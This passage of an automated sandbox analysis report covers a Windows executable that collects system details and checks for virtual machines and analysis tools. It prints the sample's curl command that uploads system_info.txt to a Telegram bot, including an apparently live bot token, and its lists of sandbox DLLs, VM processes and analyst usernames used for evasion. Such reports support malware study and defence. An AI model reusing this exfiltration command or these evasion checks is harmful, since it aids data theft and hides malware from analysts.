Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:44:00
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:44:01
Start date:	19/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	"wmic" diskdrive get model,size
Imagebase:	0x7ff61e0e0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:44:01
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	16:44:02
Start date:	19/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	"wmic" /namespace:\\root\SecurityCenter2 path AntivirusProduct get displayName
Imagebase:	0x7ff61e0e0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	16:44:02
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	16:44:03
Start date:	19/12/2024
Path:	C:\Windows\System32\getmac.exe
Wow64 process (32bit):	false
Commandline:	"getmac"
Imagebase:	0x7ff7fadd0000
File size:	90'112 bytes
MD5 hash:	7D4B72DFF5B8E98DD1351A401E402C33
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	16:44:03
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	16:44:04
Start date:	19/12/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	"systeminfo"
Imagebase:	0x7ff796d80000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	16:44:04
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	16:44:04
Start date:	19/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	"tasklist" /m sbiedll.dll
Imagebase:	0x7ff6803b0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	16:44:04
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	16:44:05
Start date:	19/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	"tasklist" /m dbghelp.dll
Imagebase:	0x7ff6803b0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	16:44:05
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	16:44:05
Start date:	19/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	"tasklist" /m api_log.dll
Imagebase:	0x7ff6803b0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	16:44:06
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	16:44:07
Start date:	19/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	"tasklist" /m dir_watch.dll
Imagebase:	0x7ff6803b0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	16:44:07
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	16:44:07
Start date:	19/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	"tasklist" /m pstorec.dll
Imagebase:	0x7ff6803b0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	16:44:07
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	16:44:08
Start date:	19/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	"tasklist" /m vmcheck.dll
Imagebase:	0x7ff6803b0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	16:44:08
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	16:44:09
Start date:	19/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	"tasklist" /m wpespy.dll
Imagebase:	0x7ff6803b0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	16:44:09
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	16:44:09
Start date:	19/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	"wmic" computersystem get model
Imagebase:	0x7ff61e0e0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	16:44:09
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	16:44:10
Start date:	19/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	"tasklist" /fi "IMAGENAME eq vmtoolsd.exe"
Imagebase:	0x7ff6803b0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	16:44:10
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	16:44:10
Start date:	19/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	"tasklist" /fi "IMAGENAME eq vboxservice.exe"
Imagebase:	0x7ff6803b0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	16:44:10
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	16:44:11
Start date:	19/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	"tasklist" /fi "IMAGENAME eq vboxtray.exe"
Imagebase:	0x7ff6803b0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	16:44:11
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	16:44:11
Start date:	19/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	"wmic" csproduct get identifyingnumber
Imagebase:	0x7ff61e0e0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	16:44:11
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	16:44:19
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	16:45:12
Start date:	19/12/2024
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	"curl" -k -F chat_id=-4193710271 -F document=@system_info.txt;filename=528110-4174-1.log https://api.telegram.org/bot7068399075:AAEU8zRzCqB0URyCZuIuzOS0iXNMCPf1hu4/sendDocument
Imagebase:	0x7ff654820000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	16:45:12
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FF7B90318F0 Relevance: 87.3, APIs: 40, Strings: 8, Instructions: 3341COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00007FF7B9031995
FreeEnvironmentStringsW.KERNEL32 ref: 00007FF7B9031B0C
CloseHandle.KERNEL32 ref: 00007FF7B90327B6

Strings

PATHlibrary\std\src\sys_common\process.rs, xrefs: 00007FF7B9034694
.exeprogram not found, xrefs: 00007FF7B9032589
assertion failed: self.height > 0, xrefs: 00007FF7B903566F
]?\\, xrefs: 00007FF7B90323F8
\?\\, xrefs: 00007FF7B90323F0
assertion failed: is_code_point_boundary(self, new_len), xrefs: 00007FF7B9032925, 00007FF7B9033713
#$*+-./:?@\_cmd.exe /e:ON /v:OFF /d /c "batch file arguments are invalid, xrefs: 00007FF7B9033CA2
exe\\.\NUL\cmd.exemaximum number of ProcThreadAttributes exceeded, xrefs: 00007FF7B9033742, 00007FF7B903409C, 00007FF7B9034267, 00007FF7B9034539, 00007FF7B9034716

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: EnvironmentStrings$CloseFreeHandle
String ID: #$*+-./:?@\_cmd.exe /e:ON /v:OFF /d /c "batch file arguments are invalid$.exeprogram not found$PATHlibrary\std\src\sys_common\process.rs$\?\\$]?\\$assertion failed: is_code_point_boundary(self, new_len)$assertion failed: self.height > 0$exe\\.\NUL\cmd.exemaximum number of ProcThreadAttributes exceeded
API String ID: 1070102993-4160752474
Opcode ID: e0e4134bb13c93bb1cb2ae8ca2a83206a7417c017054b62f519f36f622cae1c7
Instruction ID: 4612318126273ee75c259bf035c9f153c0198a248e307befcd49039fbc82166e
Opcode Fuzzy Hash: e0e4134bb13c93bb1cb2ae8ca2a83206a7417c017054b62f519f36f622cae1c7
Instruction Fuzzy Hash: 0F73A462A18AD389EB709F29DD503F96371FB2A789F804135DB6D4BB99DF38D2418310

Function 00007FF7B9012720 Relevance: 31.2, APIs: 1, Strings: 18, Instructions: 2749COMMON

Download Yara Rule

Strings

nown, xrefs: 00007FF7B9012888
x DLLs:, xrefs: 00007FF7B9013978
a Display implementation returned an error unexpectedly/rustc/eeb90cda1969383f56a2637cbd3037bdf598841c\library\alloc\src\string.rs, xrefs: 00007FF7B901645B, 00007FF7B901648B
systeminfoSystem Info: , xrefs: 00007FF7B90136A9
12345678, xrefs: 00007FF7B9015D34
L1HF0CF0, xrefs: 00007FF7B9015D83
USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel, xrefs: 00007FF7B9012824
COMPUTERNAMEComputer Name: , xrefs: 00007FF7B9012767
tected., xrefs: 00007FF7B9014DFF
/ficsproductidentifyingnumber, xrefs: 00007FF7B90149A9
1RLV, xrefs: 00007FF7B901627F
wmicC:\windows\sysnative\drivers\vmmouse.sysC:\windows\sysnative\drivers\vmhgfs.sysC:\windows\sysnative\drivers\vmusbmouse.sysvmtoolsd.exevboxservice.exevboxtray.exeIMAGENAME eq , xrefs: 00007FF7B9012AC8, 00007FF7B9012C7F, 00007FF7B9012E3A, 00007FF7B9012FE6, 00007FF7B9013192, 00007FF7B9013342, 00007FF7B9014269, 00007FF7B9014EAA
system_info.txtFailed to write to file: , xrefs: 00007FF7B901519D
ormation, xrefs: 00007FF7B90133B4
ed., xrefs: 00007FF7B901460F
getmacMAC Address: , xrefs: 00007FF7B90134FF
sbiedll.dlldbghelp.dllapi_log.dlldir_watch.dllpstorec.dllvmcheck.dllwpespy.dll/mtasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul userworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARA, xrefs: 00007FF7B901384A
F0CF008J, xrefs: 00007FF7B9015D90

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID:
String ID: /ficsproductidentifyingnumber$12345678$1RLV$COMPUTERNAMEComputer Name: $F0CF008J$L1HF0CF0$USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel$a Display implementation returned an error unexpectedly/rustc/eeb90cda1969383f56a2637cbd3037bdf598841c\library\alloc\src\string.rs$ed.$getmacMAC Address: $nown$ormation$sbiedll.dlldbghelp.dllapi_log.dlldir_watch.dllpstorec.dllvmcheck.dllwpespy.dll/mtasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul userworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARA$system_info.txtFailed to write to file: $systeminfoSystem Info: $tected.$wmicC:\windows\sysnative\drivers\vmmouse.sysC:\windows\sysnative\drivers\vmhgfs.sysC:\windows\sysnative\drivers\vmusbmouse.sysvmtoolsd.exevboxservice.exevboxtray.exeIMAGENAME eq $x DLLs:
API String ID: 0-225615594
Opcode ID: c42897ccc4d9aed1fb04b667ccb191a2c2fb66f9d5a861493744c592ca57521d
Instruction ID: 8aa1ac83b3ff1e56278832421f402ede3ba0b33dec2634d2f31141924ad0d9e7
Opcode Fuzzy Hash: c42897ccc4d9aed1fb04b667ccb191a2c2fb66f9d5a861493744c592ca57521d
Instruction Fuzzy Hash: 51733472605BD289EB719F28D8803E963B5FB56B88F804125DB5C4BB99EF39D384C310

Function 00007FF7B902FDF0 Relevance: 8.0, APIs: 5, Instructions: 503
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF7B902FE60
ProcessPrng.BCRYPTPRIMITIVES ref: 00007FF7B902FE8C

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: Process$CurrentPrng
String ID:
API String ID: 716580790-0
Opcode ID: c8928d5f51c56d2f59684b6c8d261d04b54f34b2b64c57bd3e0c046a5bc1a12a
Instruction ID: 7208bfd52bc82c723d3bbbc37436f0814e5a0927f2993ea0398129308e7768e3
Opcode Fuzzy Hash: c8928d5f51c56d2f59684b6c8d261d04b54f34b2b64c57bd3e0c046a5bc1a12a
Instruction Fuzzy Hash: 5F22E462A09A8289E7649F29D9003FA7AB4FB1A798F404235DF6E47798DF7DD144C310

Function 00007FF7B902EB20 Relevance: 4.6, APIs: 3, Instructions: 143
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32 ref: 00007FF7B902EC87
FindFirstFileW.KERNEL32 ref: 00007FF7B902ECBF
FindClose.KERNEL32 ref: 00007FF7B902ECD2

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: CloseFind$FileFirstHandle
String ID:
API String ID: 1310327803-0
Opcode ID: 108ad1669d5f654cf7088fbd5db76f8917ec5f9a1101b15b5fb6b39ab74f4e40
Instruction ID: cdfffae1c08a1d30c16b4960e8c21b7e23b45977aa25b424639e4b407d5f90f0
Opcode Fuzzy Hash: 108ad1669d5f654cf7088fbd5db76f8917ec5f9a1101b15b5fb6b39ab74f4e40
Instruction Fuzzy Hash: E7518032A04B8286E7309F65E8843EAB771FB66798F504235CF6D1AB99DF3CE5418350

Function 00007FF7B902F200 Relevance: 4.6, APIs: 3, Instructions: 83
filenativesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtWriteFile.NTDLL ref: 00007FF7B902F271
WaitForSingleObject.KERNEL32 ref: 00007FF7B902F286
RtlNtStatusToDosError.NTDLL ref: 00007FF7B902F2A4

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: ErrorFileObjectSingleStatusWaitWrite
String ID:
API String ID: 3447438843-0
Opcode ID: 83d7b160387bc71befc0e2236d4a3df64de8f29feef33d0b9e5494b388aa95c9
Instruction ID: 12264b5238a504de655ab048e8148ecf2e09e520d9edc9f28c9dd45cccc67eb2
Opcode Fuzzy Hash: 83d7b160387bc71befc0e2236d4a3df64de8f29feef33d0b9e5494b388aa95c9
Instruction Fuzzy Hash: D131AF32B04B429AE710DF78E8907ED73B0EB66398F904130EB5D43A98EF38D5948750

Function 00007FF7B902F0E0 Relevance: 4.6, APIs: 3, Instructions: 75
filenativesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtReadFile.NTDLL ref: 00007FF7B902F151
WaitForSingleObject.KERNEL32 ref: 00007FF7B902F166
RtlNtStatusToDosError.NTDLL ref: 00007FF7B902F191

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: ErrorFileObjectReadSingleStatusWait
String ID:
API String ID: 3583596364-0
Opcode ID: 6b2b8c81433aba9b8012bb8a5dc3d03e10c04479521bde7f886105c347d82123
Instruction ID: 272e8d1bd351b0e37f8b198d9c19126491cc535954e1642e1ccab9a5172f8075
Opcode Fuzzy Hash: 6b2b8c81433aba9b8012bb8a5dc3d03e10c04479521bde7f886105c347d82123
Instruction Fuzzy Hash: 02318172B04B5299F710DF78E8407E973B5AB66398F904130EB5D82A98EF3CD5948750

Function 00007FF7B901CBF0 Relevance: 3.0, APIs: 2, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

BCryptGenRandom.BCRYPT(?,?,?,00007FF7B901C955,?,?,?,00007FF7B904D87B), ref: 00007FF7B901CC42
SystemFunction036.ADVAPI32(?,?,?,00007FF7B901C955,?,?,?,00007FF7B904D87B), ref: 00007FF7B901CC53

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: CryptFunction036RandomSystem
String ID:
API String ID: 1232939966-0
